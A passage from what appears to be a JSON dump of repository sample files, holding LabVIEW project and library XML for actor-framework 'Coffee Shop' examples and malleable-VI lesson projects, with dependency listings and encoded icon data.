URL=\"../Documentation/Readme.html\"/>\r\n\t\t<Item Name=\"Dependencies\" Type=\"Dependencies\">\r\n\t\t\t<Item Name=\"vi.lib\" Type=\"Folder\">\r\n\t\t\t\t<Property Name=\"NI.SortType\" Type=\"Int\">1</Property>\r\n\t\t\t\t<Item Name=\"Actor Framework.lvlib\" Type=\"Library\" URL=\"/&lt;vilib&gt;/ActorFramework/Actor Framework.lvlib\"/>\r\n\t\t\t\t<Item Name=\"BuildHelpPath.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/BuildHelpPath.vi\"/>\r\n\t\t\t\t<Item Name=\"Check Special Tags.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Check Special Tags.vi\"/>\r\n\t\t\t\t<Item Name=\"Clear Errors.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Clear Errors.vi\"/>\r\n\t\t\t\t<Item Name=\"Close File+.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/file.llb/Close File+.vi\"/>\r\n\t\t\t\t<Item Name=\"compatReadText.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/_oldvers/_oldvers.llb/compatReadText.vi\"/>\r\n\t\t\t\t<Item Name=\"Convert property node font to graphics font.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Convert property node font to graphics font.vi\"/>\r\n\t\t\t\t<Item Name=\"Details Display Dialog.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Details Display Dialog.vi\"/>\r\n\t\t\t\t<Item Name=\"DialogType.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/DialogType.ctl\"/>\r\n\t\t\t\t<Item Name=\"DialogTypeEnum.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/DialogTypeEnum.ctl\"/>\r\n\t\t\t\t<Item Name=\"Error Cluster From Error Code.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Error Cluster From Error Code.vi\"/>\r\n\t\t\t\t<Item Name=\"Error Code Database.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Error Code Database.vi\"/>\r\n\t\t\t\t<Item Name=\"ErrWarn.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/ErrWarn.ctl\"/>\r\n\t\t\t\t<Item Name=\"eventvkey.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/event_ctls.llb/eventvkey.ctl\"/>\r\n\t\t\t\t<Item Name=\"Find First Error.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Find First Error.vi\"/>\r\n\t\t\t\t<Item Name=\"Find Tag.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Find Tag.vi\"/>\r\n\t\t\t\t<Item Name=\"Format Message String.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Format Message String.vi\"/>\r\n\t\t\t\t<Item Name=\"General Error Handler Core CORE.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/General Error Handler Core CORE.vi\"/>\r\n\t\t\t\t<Item Name=\"General Error Handler.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/General Error Handler.vi\"/>\r\n\t\t\t\t<Item Name=\"Get LV Class Name.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/LVClass/Get LV Class Name.vi\"/>\r\n\t\t\t\t<Item Name=\"Get String Text Bounds.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Get String Text Bounds.vi\"/>\r\n\t\t\t\t<Item Name=\"Get Text Rect.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/picture/picture.llb/Get Text Rect.vi\"/>\r\n\t\t\t\t<Item Name=\"GetHelpDir.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/GetHelpDir.vi\"/>\r\n\t\t\t\t<Item Name=\"GetRTHostConnectedProp.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/GetRTHostConnectedProp.vi\"/>\r\n\t\t\t\t<Item Name=\"High Resolution Relative Seconds.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/High Resolution Relative Seconds.vi\"/>\r\n\t\t\t\t<Item Name=\"Longest Line Length in Pixels.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Longest Line Length in Pixels.vi\"/>\r\n\t\t\t\t<Item Name=\"LVBoundsTypeDef.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/miscctls.llb/LVBoundsTypeDef.ctl\"/>\r\n\t\t\t\t<Item Name=\"LVRectTypeDef.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/miscctls.llb/LVRectTypeDef.ctl\"/>\r\n\t\t\t\t<Item Name=\"NI_SystemLogging.lvlib\" Type=\"Library\" URL=\"/&lt;vilib&gt;/Utility/SystemLogging/NI_SystemLogging.lvlib\"/>\r\n\t\t\t\t<Item Name=\"Not Found Dialog.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Not Found Dialog.vi\"/>\r\n\t\t\t\t<Item Name=\"Open File+.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/file.llb/Open File+.vi\"/>\r\n\t\t\t\t<Item Name=\"Read Delimited Spreadsheet (DBL).vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/file.llb/Read Delimited Spreadsheet (DBL).vi\"/>\r\n\t\t\t\t<Item Name=\"Read Delimited Spreadsheet (I64).vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/file.llb/Read Delimited Spreadsheet (I64).vi\"/>\r\n\t\t\t\t<Item Name=\"Read Delimited Spreadsheet (string).vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/file.llb/Read Delimited Spreadsheet (string).vi\"/>\r\n\t\t\t\t<Item Name=\"Read Delimited Spreadsheet.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/file.llb/Read Delimited Spreadsheet.vi\"/>\r\n\t\t\t\t<Item Name=\"Read File+ (string).vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/file.llb/Read File+ (string).vi\"/>\r\n\t\t\t\t<Item Name=\"Read Lines From File (with error IO).vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/file.llb/Read Lines From File (with error IO).vi\"/>\r\n\t\t\t\t<Item Name=\"Search and Replace Pattern.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Search and Replace Pattern.vi\"/>\r\n\t\t\t\t<Item Name=\"Self-Addressed Msg.lvclass\" Type=\"LVClass\" URL=\"/&lt;vilib&gt;/ActorFramework/Self-Addressed Msg/Self-Addressed Msg.lvclass\"/>\r\n\t\t\t\t<Item Name=\"Set Bold Text.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Set Bold Text.vi\"/>\r\n\t\t\t\t<Item Name=\"Set String Value.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Set String Value.vi\"/>\r\n\t\t\t\t<Item Name=\"Simple Error Handler.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Simple Error Handler.vi\"/>\r\n\t\t\t\t<Item Name=\"TagReturnType.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/TagReturnType.ctl\"/>\r\n\t\t\t\t<Item Name=\"Three Button Dialog CORE.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Three Button Dialog CORE.vi\"/>\r\n\t\t\t\t<Item Name=\"Three Button Dialog.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Three Button Dialog.vi\"/>\r\n\t\t\t\t<Item Name=\"Time-Delay Override Options.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/ActorFramework/Time-Delayed Send Message/Time-Delay Override Options.ctl\"/>\r\n\t\t\t\t<Item Name=\"Time-Delayed Send Message Core.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/ActorFramework/Time-Delayed Send Message/Time-Delayed Send Message Core.vi\"/>\r\n\t\t\t\t<Item Name=\"Time-Delayed Send Message.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/ActorFramework/Time-Delayed Send Message/Time-Delayed Send Message.vi\"/>\r\n\t\t\t\t<Item Name=\"Trim Whitespace.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Trim Whitespace.vi\"/>\r\n\t\t\t\t<Item Name=\"whitespace.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/whitespace.ctl\"/>\r\n\t\t\t</Item>\r\n\t\t\t<Item Name=\"AF Debug.lvlib\" Type=\"Library\" URL=\"/&lt;resource&gt;/AFDebug/AF Debug.lvlib\"/>\r\n\t\t\t<Item Name=\"LV Config Read String.vi\" Type=\"VI\" URL=\"/&lt;resource&gt;/dialog/lvconfig.llb/LV Config Read String.vi\"/>\r\n\t\t\t<Item Name=\"systemLogging.dll\" Type=\"Document\" URL=\"systemLogging.dll\">\r\n\t\t\t\t<Property Name=\"NI.PreserveRelativePath\" Type=\"Bool\">true</Property>\r\n\t\t\t</Item>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Build Specifications\" Type=\"Build\"/>\r\n\t</Item>\r\n</Project>\r\n"
  },
  {
    "path": "samples/LabVIEW/Coffee Shop.lvlib",
    "content": "﻿<?xml version='1.0' encoding='UTF-8'?>\r\n<Library LVVersion=\"19008000\">\r\n\t<Property Name=\"NI.Lib.Icon\" Type=\"Bin\">'1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!(]!!!*Q(C=\\&gt;7R=2MR%!81N=?\"5X&lt;A91P&lt;!FNA#^M#5Y6M96NA\"R[WM#WQ\"&lt;9A0ZYR'E?G!WPM1$AN&gt;@S(!ZZQG&amp;0%VLZ'@)H8:_X\\&lt;^P(^7@8H\\4Y;\"`NX\\;8JZPUX@@MJXC]C.3I6K5S(F/^DHTE)R`ZS%@?]J;XP/5N&lt;XH*3V\\SEJ?]Z#F0?=J4HP+5&lt;Y=]Z#%0/&gt;+9@%QU\"BU$D-YI-4[':XC':XB]D?%:HO%:HO(2*9:H?):H?)&lt;(&lt;4%]QT-]QT-]BNIEMRVSHO%R@$20]T20]T30+;.Z'K\".VA:OAW\"%O^B/GK&gt;ZGM&gt;J.%`T.%`T.)`,U4T.UTT.UTROW6;F.]XDE0-9*IKH?)KH?)L(U&amp;%]R6-]R6-]JIPC+:[#+\"/7Q2'CX&amp;1[F#`&amp;5TR_2@%54`%54`'YN$WBWF&lt;GI8E==J\\E3:\\E3:\\E-51E4`)E4`)EDW%D?:)H?:)H?5Q6S:-]S:-A;6,42RIMX:A[J3\"Z`'S\\*&lt;?HV*MENS.C&lt;&gt;Z9GT,7:IOVC7*NDFA00&gt;&lt;$D0719CV_L%7.N6CR&amp;C(7(R=,(1M4;Z*9.T][RNXH46X62:X632X61?X6\\H(L8_ZYP^`D&gt;LP&amp;^8K.S_53Z`-Z4K&gt;4()`(/\"Q/M&gt;`P9\\@&lt;P&lt;U'PDH?8AA`XUMPTP_EXOF`[8`Q&lt;IT0]?OYVOA(5/(_Z!!!!!!</Property>\r\n\t<Property Name=\"NI.Lib.SourceVersion\" Type=\"Int\">419463168</Property>\r\n\t<Property Name=\"NI.Lib.Version\" Type=\"Str\">1.0.0.0</Property>\r\n\t<Property Name=\"NI.LV.All.SourceOnly\" Type=\"Bool\">true</Property>\r\n\t<Item Name=\"Messages for this Actor\" Type=\"Folder\">\r\n\t\t<Item Name=\"Add Barista Msg.lvclass\" Type=\"LVClass\" URL=\"../Coffee Shop Messages/Add Barista Msg/Add Barista Msg.lvclass\"/>\r\n\t\t<Item Name=\"Add Cashier Msg.lvclass\" Type=\"LVClass\" URL=\"../Coffee Shop Messages/Add Cashier Msg/Add Cashier Msg.lvclass\"/>\r\n\t\t<Item Name=\"Add Customer Msg.lvclass\" Type=\"LVClass\" URL=\"../Coffee Shop Messages/Add Customer Msg/Add Customer Msg.lvclass\"/>\r\n\t\t<Item Name=\"Fwd Message to Nested Actor Msg.lvclass\" Type=\"LVClass\" URL=\"../Coffee Shop Messages/Fwd Message to Nested Actor Msg/Fwd Message to Nested Actor Msg.lvclass\"/>\r\n\t\t<Item Name=\"Remove Barista Msg.lvclass\" Type=\"LVClass\" URL=\"../Coffee Shop Messages/Remove Barista Msg/Remove Barista Msg.lvclass\"/>\r\n\t\t<Item Name=\"Remove Cashier Msg.lvclass\" Type=\"LVClass\" URL=\"../Coffee Shop Messages/Remove Cashier Msg/Remove Cashier Msg.lvclass\"/>\r\n\t\t<Item Name=\"Remove Customer Msg.lvclass\" Type=\"LVClass\" URL=\"../Coffee Shop Messages/Remove Customer Msg/Remove Customer Msg.lvclass\"/>\r\n\t\t<Item Name=\"Update Entity Details Msg.lvclass\" Type=\"LVClass\" URL=\"../Coffee Shop Messages/Update Entity Details Msg/Update Entity Details Msg.lvclass\"/>\r\n\t</Item>\r\n\t<Item Name=\"Coffee Shop.lvclass\" Type=\"LVClass\" URL=\"../Coffee Shop/Coffee Shop.lvclass\"/>\r\n</Library>\r\n"
  },
  {
    "path": "samples/LabVIEW/Customer.lvlib",
    "content": "﻿<?xml version='1.0' encoding='UTF-8'?>\r\n<Library LVVersion=\"19008000\">\r\n\t<Property Name=\"NI.Lib.Icon\" Type=\"Bin\">'1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!(]!!!*Q(C=\\&gt;8\"&lt;2MR%!813:!!O;K$1#V-#WJ\",5Q,OPKI&amp;K9&amp;N;!7JA7VI\";=JQVBZ\"4F%#-ZG/O26X_ZZ$/87%&gt;M\\6P%FXB^VL\\_NHV=@X&lt;^39O0^N(_&lt;8NZOEH@@=^_CM?,3)VK63LD-&gt;8LS%=_]J'0@/1N&lt;XH,7^\\SFJ?]Z#5P?=F,HP+5JTTF+5`Z&gt;MB$(P+1)YX*RU2DU$(![)Q3YW.YBG&gt;YBM@8'*\\B':\\B'2Z&gt;9HC':XC':XD=&amp;M-T0--T0-.DK%USWS(H'2\\$2`-U4`-U4`/9-JKH!&gt;JE&lt;?!W#%;UC_WE?:KH?:R']T20]T20]\\A=T&gt;-]T&gt;-]T?/7&lt;66[UTQ//9^BIHC+JXC+JXA-(=640-640-6DOCC?YCG)-G%:(#(+4;6$_6)]R?.8&amp;%`R&amp;%`R&amp;)^,WR/K&lt;75?GM=BZUG?Z%G?Z%E?1U4S*%`S*%`S'$;3*XG3*XG3RV320-G40!G3*D6^J-(3D;F4#J,(T\\:&lt;=HN+P5FS/S,7ZIWV+7.NNFC&lt;+.&lt;GC0819TX-7!]JVO,(7N29CR6L%7,^=&lt;(1M4#R*IFV][.DX(X?V&amp;6&gt;V&amp;G&gt;V&amp;%&gt;V&amp;\\N(L@_Z9\\X_TVONVN=L^?Y8#ZR0J`D&gt;$L&amp;]8C-Q_%1_`U_&gt;LP&gt;WWPAO_0NB@$TP@4C`%`KH@[8`A@PRPA=PYZLD8Y![_ML^!!!!!!</Property>\r\n\t<Property Name=\"NI.Lib.SourceVersion\" Type=\"Int\">419463168</Property>\r\n\t<Property Name=\"NI.Lib.Version\" Type=\"Str\">1.0.0.0</Property>\r\n\t<Property Name=\"NI.LV.All.SourceOnly\" Type=\"Bool\">true</Property>\r\n\t<Item Name=\"Messages for this Actor\" Type=\"Folder\">\r\n\t\t<Item Name=\"Pick up Item Msg.lvclass\" Type=\"LVClass\" URL=\"../Customer Messages/Pick up Item Msg/Pick up Item Msg.lvclass\"/>\r\n\t\t<Item Name=\"Update order number Msg.lvclass\" Type=\"LVClass\" URL=\"../Customer Messages/Update order number Msg/Update order number Msg.lvclass\"/>\r\n\t</Item>\r\n\t<Item Name=\"Customer.lvclass\" Type=\"LVClass\" URL=\"../Customer/Customer.lvclass\"/>\r\n</Library>\r\n"
  },
  {
    "path": "samples/LabVIEW/Malleable VIs - Nested Malleable VIs.lvproj",
    "content": "﻿<?xml version='1.0' encoding='UTF-8'?>\r\n<Project Type=\"Project\" LVVersion=\"19008000\">\r\n\t<Property Name=\"NI.LV.All.SourceOnly\" Type=\"Bool\">true</Property>\r\n\t<Property Name=\"NI.LV.ExampleFinder\" Type=\"Str\">&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\r\n&lt;ExampleProgram&gt;&lt;Title&gt;\t&lt;Text Locale=\"US\"&gt;Malleable VIs - Nested Malleable VIs.lvproj&lt;/Text&gt;&lt;/Title&gt;&lt;Keywords&gt;\t&lt;Item&gt;polymorphic&lt;/Item&gt;\t&lt;Item&gt;malleable&lt;/Item&gt;\t&lt;Item&gt;VI&lt;/Item&gt;\t&lt;Item&gt;Array&lt;/Item&gt;\t&lt;Item&gt;sort&lt;/Item&gt;\t&lt;Item&gt;search&lt;/Item&gt;&lt;/Keywords&gt;&lt;Navigation&gt;\t&lt;Item&gt;7038&lt;/Item&gt;&lt;/Navigation&gt;&lt;FileType&gt;LV Project&lt;/FileType&gt;&lt;Metadata&gt;&lt;Item Name=\"RTSupport\"&gt;LV Project&lt;/Item&gt;&lt;/Metadata&gt;&lt;ProgrammingLanguages&gt;&lt;Item&gt;LabVIEW&lt;/Item&gt;&lt;/ProgrammingLanguages&gt;&lt;RequiredSoftware&gt;&lt;NiSoftware MinVersion=\"18.0\"&gt;LabVIEW&lt;/NiSoftware&gt; &lt;/RequiredSoftware&gt;&lt;/ExampleProgram&gt;</Property>\r\n\t<Property Name=\"NI.Project.Description\" Type=\"Str\">This example shows how you can use nested malleable VIs to create particularly flexible APIs. The particular API demonstrated is for searching and sorting arrays, but the principles apply to many other APIs.</Property>\r\n\t<Item Name=\"My Computer\" Type=\"My Computer\">\r\n\t\t<Property Name=\"server.app.propertiesEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"server.control.propertiesEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"server.tcp.enabled\" Type=\"Bool\">false</Property>\r\n\t\t<Property Name=\"server.tcp.port\" Type=\"Int\">0</Property>\r\n\t\t<Property Name=\"server.tcp.serviceName\" Type=\"Str\">My Computer/</Property>\r\n\t\t<Property Name=\"server.tcp.serviceName.default\" Type=\"Str\">My Computer/</Property>\r\n\t\t<Property Name=\"server.vi.callsEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"server.vi.propertiesEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"specify.custom.address\" Type=\"Bool\">false</Property>\r\n\t\t<Item Name=\"Lesson 1 code\" Type=\"Folder\">\r\n\t\t\t<Item Name=\"Incorrect - Shuffle Bytes.vim\" Type=\"VI\" URL=\"../Incorrect - Shuffle Bytes.vim\"/>\r\n\t\t\t<Item Name=\"Inefficient - Shuffle Bytes.vim\" Type=\"VI\" URL=\"../Inefficient - Shuffle Bytes.vim\"/>\r\n\t\t\t<Item Name=\"Recommended - Shuffle Bytes.vim\" Type=\"VI\" URL=\"../Recommended - Shuffle Bytes.vim\"/>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Lesson 2a code\" Type=\"Folder\">\r\n\t\t\t<Item Name=\"Equal Via Regular Expression Functor.lvclass\" Type=\"LVClass\" URL=\"../Equal Via Regular Expression Functor/Equal Via Regular Expression Functor.lvclass\"/>\r\n\t\t\t<Item Name=\"String Equals Ignore Case.vi\" Type=\"VI\" URL=\"../String Equals Ignore Case.vi\"/>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Lesson 2b code\" Type=\"Folder\">\r\n\t\t\t<Item Name=\"String With Equals.lvclass\" Type=\"LVClass\" URL=\"../String With Equals/String With Equals.lvclass\"/>\r\n\t\t\t<Item Name=\"String Without Equals.lvclass\" Type=\"LVClass\" URL=\"../String Without Equals/String Without Equals.lvclass\"/>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Lesson 3 code\" Type=\"Folder\">\r\n\t\t\t<Item Name=\"Equal With Epsilon Functor.lvclass\" Type=\"LVClass\" URL=\"../Equal With Epsilon Functor/Equal With Epsilon Functor.lvclass\"/>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Lesson 4 code\" Type=\"Folder\">\r\n\t\t\t<Item Name=\"String Less Than Ignore Case.vi\" Type=\"VI\" URL=\"../String Less Than Ignore Case.vi\"/>\r\n\t\t\t<Item Name=\"String Less Than Ignore Case_Wrong Conpane.vi\" Type=\"VI\" URL=\"../String Less Than Ignore Case_Wrong Conpane.vi\"/>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Lesson 5 code\" Type=\"Folder\">\r\n\t\t\t<Property Name=\"NI.SortType\" Type=\"Int\">0</Property>\r\n\t\t\t<Item Name=\"Numeric Strings Less Functor.lvclass\" Type=\"LVClass\" URL=\"../Numeric Strings Less Functor/Numeric Strings Less Functor.lvclass\"/>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Nested Malleable VIs - Lesson 1.vi\" Type=\"VI\" URL=\"../Nested Malleable VIs - Lesson 1.vi\"/>\r\n\t\t<Item Name=\"Nested Malleable VIs - Lesson 2a.vi\" Type=\"VI\" URL=\"../Nested Malleable VIs - Lesson 2a.vi\"/>\r\n\t\t<Item Name=\"Nested Malleable VIs - Lesson 2b.vi\" Type=\"VI\" URL=\"../Nested Malleable VIs - Lesson 2b.vi\"/>\r\n\t\t<Item Name=\"Nested Malleable VIs - Lesson 3.vi\" Type=\"VI\" URL=\"../Nested Malleable VIs - Lesson 3.vi\"/>\r\n\t\t<Item Name=\"Nested Malleable VIs - Lesson 4.vi\" Type=\"VI\" URL=\"../Nested Malleable VIs - Lesson 4.vi\"/>\r\n\t\t<Item Name=\"Nested Malleable VIs - Lesson 5.vi\" Type=\"VI\" URL=\"../Nested Malleable VIs - Lesson 5.vi\"/>\r\n\t\t<Item Name=\"Dependencies\" Type=\"Dependencies\">\r\n\t\t\t<Item Name=\"vi.lib\" Type=\"Folder\">\r\n\t\t\t\t<Item Name=\"Equal Comparable.lvclass\" Type=\"LVClass\" URL=\"/&lt;vilib&gt;/Comparison/Equal/Equal Comparable/Equal Comparable.lvclass\"/>\r\n\t\t\t\t<Item Name=\"Equal Functor.lvclass\" Type=\"LVClass\" URL=\"/&lt;vilib&gt;/Comparison/Equal/Equal Functor/Equal Functor.lvclass\"/>\r\n\t\t\t\t<Item Name=\"Equals.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Comparison/Equals.vim\"/>\r\n\t\t\t\t<Item Name=\"Insert Into Sorted Array.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Array/Insert Into Sorted Array.vim\"/>\r\n\t\t\t\t<Item Name=\"Less Comparable.lvclass\" Type=\"LVClass\" URL=\"/&lt;vilib&gt;/Comparison/Less/Less Comparable/Less Comparable.lvclass\"/>\r\n\t\t\t\t<Item Name=\"Less Functor.lvclass\" Type=\"LVClass\" URL=\"/&lt;vilib&gt;/Comparison/Less/Less Functor/Less Functor.lvclass\"/>\r\n\t\t\t\t<Item Name=\"Less.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Comparison/Less.vim\"/>\r\n\t\t\t\t<Item Name=\"Search Sorted 1D Array.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Array/Search Sorted 1D Array.vim\"/>\r\n\t\t\t\t<Item Name=\"Search Unsorted 1D Array Core.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Array/Helpers/Search Unsorted 1D Array Core.vim\"/>\r\n\t\t\t\t<Item Name=\"Search Unsorted 1D Array.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Array/Search Unsorted 1D Array.vim\"/>\r\n\t\t\t\t<Item Name=\"Shuffle 1D Array.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Array/Shuffle 1D Array.vim\"/>\r\n\t\t\t\t<Item Name=\"Sort 1D Array Core.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Array/Helpers/Sort 1D Array Core.vim\"/>\r\n\t\t\t\t<Item Name=\"Sort 1D Array.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Array/Sort 1D Array.vim\"/>\r\n\t\t\t\t<Item Name=\"Two-Way Comparison Versus Array Element.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Array/Helpers/Two-Way Comparison Versus Array Element.vim\"/>\r\n\t\t\t</Item>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Build Specifications\" Type=\"Build\"/>\r\n\t</Item>\r\n</Project>\r\n"
  },
  {
    "path": "samples/LabVIEW/Malleable VIs Basics.lvproj",
    "content": "﻿<?xml version='1.0' encoding='UTF-8'?>\r\n<Project Type=\"Project\" LVVersion=\"19008000\">\r\n\t<Property Name=\"Localized\" Type=\"Str\">Localize</Property>\r\n\t<Property Name=\"NI.LV.All.SourceOnly\" Type=\"Bool\">true</Property>\r\n\t<Property Name=\"NI.LV.ExampleFinder\" Type=\"Str\">&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\r\n&lt;ExampleProgram&gt;\r\n&lt;Title&gt;\r\n\t&lt;Text Locale=\"US\"&gt;Malleable VIs Basics.lvproj&lt;/Text&gt;\r\n&lt;/Title&gt;\r\n&lt;Keywords&gt;\r\n\t&lt;Item&gt;polymorphic&lt;/Item&gt;\r\n\t&lt;Item&gt;basics&lt;/Item&gt;\r\n\t&lt;Item&gt;malleable&lt;/Item&gt;\r\n\t&lt;Item&gt;VI&lt;/Item&gt;\r\n\t&lt;Item&gt;VIs&lt;/Item&gt;\r\n&lt;/Keywords&gt;\r\n&lt;Navigation&gt;\r\n\t&lt;Item&gt;7038&lt;/Item&gt;\r\n&lt;/Navigation&gt;\r\n&lt;FileType&gt;LV Project&lt;/FileType&gt;\r\n&lt;Metadata&gt;\r\n&lt;Item Name=\"RTSupport\"&gt;LV Project&lt;/Item&gt;\r\n&lt;/Metadata&gt;\r\n&lt;ProgrammingLanguages&gt;\r\n&lt;Item&gt;LabVIEW&lt;/Item&gt;\r\n&lt;/ProgrammingLanguages&gt;\r\n&lt;RequiredSoftware&gt;\r\n&lt;NiSoftware MinVersion=\"17.0\"&gt;LabVIEW&lt;/NiSoftware&gt; \r\n&lt;/RequiredSoftware&gt;\r\n&lt;/ExampleProgram&gt;</Property>\r\n\t<Property Name=\"NI.Project.Description\" Type=\"Str\">This example provides an introduction to malleable VI, a feature that allows you to write one VI that performs the same operation on different data types instead of saving a separate copy of the VI for each data type. A malleable VI is similar to a polymorphic VI, but where a polymorphic VI allows type selection among a fixed set of implementation VIs, a malleable VI is a single VI that automatically adapts itself to input data types. It is simpler to create widely varying implementations with a polymorphic VI, but the malleable VI supports an open-ended set of data types.</Property>\r\n\t<Item Name=\"My Computer\" Type=\"My Computer\">\r\n\t\t<Property Name=\"server.app.propertiesEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"server.control.propertiesEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"server.tcp.enabled\" Type=\"Bool\">false</Property>\r\n\t\t<Property Name=\"server.tcp.port\" Type=\"Int\">0</Property>\r\n\t\t<Property Name=\"server.tcp.serviceName\" Type=\"Str\">My Computer/VI Server</Property>\r\n\t\t<Property Name=\"server.tcp.serviceName.default\" Type=\"Str\">My Computer/VI Server</Property>\r\n\t\t<Property Name=\"server.vi.callsEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"server.vi.propertiesEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"specify.custom.address\" Type=\"Bool\">false</Property>\r\n\t\t<Item Name=\"support\" Type=\"Folder\">\r\n\t\t\t<Item Name=\"1D Array Last Element.vim\" Type=\"VI\" URL=\"../support/1D Array Last Element.vim\"/>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Malleable VIs Basics Lesson 1.vi\" Type=\"VI\" URL=\"../Malleable VIs Basics Lesson 1.vi\"/>\r\n\t\t<Item Name=\"Malleable VIs Basics Lesson 2.vi\" Type=\"VI\" URL=\"../Malleable VIs Basics Lesson 2.vi\"/>\r\n\t\t<Item Name=\"Malleable VIs Basics Lesson 3.vi\" Type=\"VI\" URL=\"../Malleable VIs Basics Lesson 3.vi\"/>\r\n\t\t<Item Name=\"Dependencies\" Type=\"Dependencies\">\r\n\t\t\t<Item Name=\"vi.lib\" Type=\"Folder\">\r\n\t\t\t\t<Item Name=\"Assert Block Data Type.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/TypeAssert/Assert Block Data Type.vim\"/>\r\n\t\t\t\t<Item Name=\"Increment Array Element.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Array/Increment Array Element.vim\"/>\r\n\t\t\t\t<Item Name=\"Is Value Changed.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/Is Value Changed.vim\"/>\r\n\t\t\t\t<Item Name=\"Shuffle 1D Array.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Array/Shuffle 1D Array.vim\"/>\r\n\t\t\t\t<Item Name=\"Sort 2D Array - Pop Stack.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Array/Sort 2D Array - Pop Stack.vi\"/>\r\n\t\t\t\t<Item Name=\"Sort 2D Array - Push Stack.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Array/Sort 2D Array - Push Stack.vi\"/>\r\n\t\t\t\t<Item Name=\"Sort 2D Array.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Array/Sort 2D 